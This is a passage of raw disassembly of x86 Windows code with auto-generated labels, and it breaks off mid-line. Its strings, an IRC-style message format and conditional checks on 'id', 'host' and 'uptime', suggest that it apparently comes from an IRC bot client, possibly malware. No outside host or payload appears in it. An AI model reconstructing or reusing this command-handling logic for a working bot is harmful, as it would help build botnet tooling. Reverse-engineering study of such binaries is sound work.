======================================= sub_412940 proc near ; CODE XREF: sub_40158Cj arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax nop call near ptr 71AB428Ah mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_41299E mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax call near ptr 71AB9639h nop mov ecx, offset word_44AC6E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_41299E: ; CODE XREF: sub_412940+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412940 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4129D0 proc near ; CODE XREF: sub_401E24j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx call near ptr 77C3FF8Ah nop mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_40158C add esp, 2000h retn sub_4129D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412A40 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412A40 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_412A77 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_412A77: ; CODE XREF: sub_412A40+21j lea ecx, [esp+40h+var_3C] call sub_40142E mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_412A98 mov eax, dword_4490D0 push eax jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412A98: ; CODE XREF: sub_412A40+4Ej mov ecx, dword_4490D8 push ecx loc_412A9F: ; CODE XREF: sub_412A40+56j lea ecx, [esp+44h+var_3C] call sub_4015E1 push ebx lea ecx, [esp+44h+var_24] call sub_40142E mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+50h+var_24] push offset aSSS_1 ; "%s %s :%s\r\n" push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014DD push eax mov ecx, esi call sub_40158C lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B70 proc near ; CODE XREF: sub_401857j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412B70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412BF0 proc near ; CODE XREF: sub_401D20j push esi mov esi, ecx call sub_401FD7 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412BF0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C20 proc near ; CODE XREF: sub_401FD7j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_44AC6E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop esi retn sub_412C20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C60 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412C60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C90 proc near ; CODE XREF: sub_401B68j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412C90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412CE0 proc near ; CODE XREF: sub_401F1Ej var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412CE0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B sub_412CE0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412D80: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43AC4E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4130A6 push ebx push edi push offset asc_444600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016B8 push offset asc_444600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016B8 push offset asc_444600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016B8 mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013E3 lea ecx, [esp+28h] mov ebx, eax call sub_4013E3 lea ecx, [esp+40h] add ebx, eax call sub_4013E3 mov ecx, edi add ebx, eax call sub_4013E3 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E47 push offset asc_444600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016B8 lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E47 push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40202C lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40202C push offset asc_444D24 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F05 xor edi, edi loc_412F05: ; CODE XREF: ___:00412F01j push offset asc_444D20 ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F1C mov edi, 1 loc_412F1C: ; CODE XREF: ___:00412F15j push offset asc_444D1C ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F33 mov edi, 2 loc_412F33: ; CODE XREF: ___:00412F2Cj push offset asc_444D18 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F4A mov edi, 3 loc_412F4A: ; CODE XREF: ___:00412F43j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FA4 test edi, edi jnz short loc_412F7A lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44956A call sub_4012EE test eax, eax jz short loc_412FA4 jmp short loc_412F97 ; --------------------------------------------------------------------------- loc_412F7A: ; CODE XREF: ___:00412F5Ej cmp edi, 1 jnz short loc_412FA4 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44956A call sub_4012EE test eax, eax jnz short loc_412FA4 loc_412F97: ; CODE XREF: ___:00412F78j push 0 push esi mov ecx, offset byte_449287 call sub_401A41 loc_412FA4: ; CODE XREF: ___:00412F5Aj ; ___:00412F76j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FF7 test edi, edi jnz short loc_412FD8 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D80AD call sub_4013ED test eax, eax jnz loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FD8: ; CODE XREF: ___:00412FB8j cmp edi, 1 jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D80AD call sub_4013ED test eax, eax jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FF7: ; CODE XREF: ___:00412FB4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ebx, eax call sub_40165E test edi, edi jnz short loc_41302D cmp eax, ebx jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_41302D: ; CODE XREF: ___:00413025j cmp edi, 1 jnz short loc_413038 cmp eax, ebx jnz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413038: ; CODE XREF: ___:00413030j cmp edi, 2 jnz short loc_413043 cmp eax, ebx jle short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: ___:0041303Bj cmp edi, 3 jnz short loc_413059 cmp eax, ebx jge short loc_413059 loc_41304C: ; CODE XREF: ___:00412FD6j ; ___:00412FF5j ... push 0 push esi mov ecx, offset byte_449287 call sub_401A41 loc_413059: ; CODE XREF: ___:00412FD0j ; ___:00412FDBj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_4130A8 ; --------------------------------------------------------------------------- loc_4130A6: ; CODE XREF: ___:00412DB9j mov al, 1 loc_4130A8: ; CODE XREF: ___:004130A4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4131B0 proc near ; CODE XREF: sub_40165Ej nop call near ptr 27F0BB2h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4131B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_402018j var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4131F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401753 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F23 sub_4131F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401852 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43F044 call sub_401933 mov ecx, ebx call sub_401C76 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132C0 proc near ; CODE XREF: sub_401D0Cj ___:00401E29j push esi mov esi, ecx call sub_401CA3 sub_4132C0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_4132D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4132D8: ; CODE XREF: ___:004132CDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132F0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43F044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401933 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C76 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014BF sub_4132F0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4133B0 proc near ; CODE XREF: sub_401A05j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4133B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_4133B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 lea edx, [esp+28h] push 13h push edx call sub_4019C4 add esp, 14h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4134A0 proc near ; CODE XREF: sub_401CE4j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4134A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017EE test eax, eax jz short loc_413547 lea ecx, [esp+18h+var_14] call sub_402275 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413547 loc_413508: ; CODE XREF: sub_4134A0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41356C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413508 loc_413547: ; CODE XREF: sub_4134A0+2Ej ; sub_4134A0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41356C: ; CODE XREF: sub_4134A0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4134A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4135E0 proc near ; CODE XREF: sub_402130j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4135E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017EE test eax, eax jz loc_4136B3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401992 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jz short loc_4136B3 loc_41364F: ; CODE XREF: sub_4135E0+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014D3 mov ecx, ebx call sub_401CE4 mov esi, eax test esi, esi jz short loc_41367C mov edi, [esi] loc_41367C: ; CODE XREF: sub_4135E0+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B86 test eax, eax jz short loc_4136DB test esi, esi jnz short loc_4136DB lea ecx, [esp+28h+var_18] call sub_4018C5 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jnz short loc_41364F loc_4136B3: ; CODE XREF: sub_4135E0+31j ; sub_4135E0+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4136C6: ; CODE XREF: sub_4135E0+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_4136DB: ; CODE XREF: sub_4135E0+AAj ; sub_4135E0+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4136C6 sub_4135E0 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413740 proc near ; CODE XREF: sub_401F64j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413740 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017EE test eax, eax jz short loc_4137E4 lea ecx, [esp+14h+var_14] call sub_401E38 lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jz short loc_4137E4 loc_4137A6: ; CODE XREF: sub_413740+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jz short loc_413816 lea ecx, [esp+14h+var_14] call sub_4020C2 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jnz short loc_4137A6 loc_4137E4: ; CODE XREF: sub_413740+2Bj ; sub_413740+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401582 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413816: ; CODE XREF: sub_413740+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FC3 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401582 sub_413740 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4138B0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4138B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017EE test eax, eax jz loc_4139E3 lea eax, [esp+0A8h+var_64] push eax call sub_401A69 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_40142E push offset byte_448F40 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015E1 lea ecx, [esp+0A8h+arg_0] call sub_4013E3 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014DD lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C26 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402176 add esp, 14h loc_41394B: ; CODE XREF: sub_4138B0+E8j lea ecx, [esp+0A8h+var_8C] call sub_40142E xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016C7 lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41394B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B86 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_4139DE call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4139FC ; --------------------------------------------------------------------------- loc_4139DE: ; CODE XREF: sub_4138B0+10Cj call sub_401226 loc_4139E3: ; CODE XREF: sub_4138B0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4139FC: ; CODE XREF: sub_4138B0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4138B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413A80 proc near ; CODE XREF: sub_40192Ej var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413A80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014D3 mov ecx, esi call sub_402130 test eax, eax jz short loc_413B2E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_401726 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014D3 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F64 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413B2E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413B2E: ; CODE XREF: sub_413A80+3Fj ; sub_413A80+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_413A80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413BB0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_43AE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40192E mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413C40 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413C40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413D89 lea ecx, [esp+48h+arg_0] call sub_4017EE test eax, eax jz loc_413D89 push esi push edi push offset asc_444C74 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413D63 add ebp, 54h loc_413CC0: ; CODE XREF: 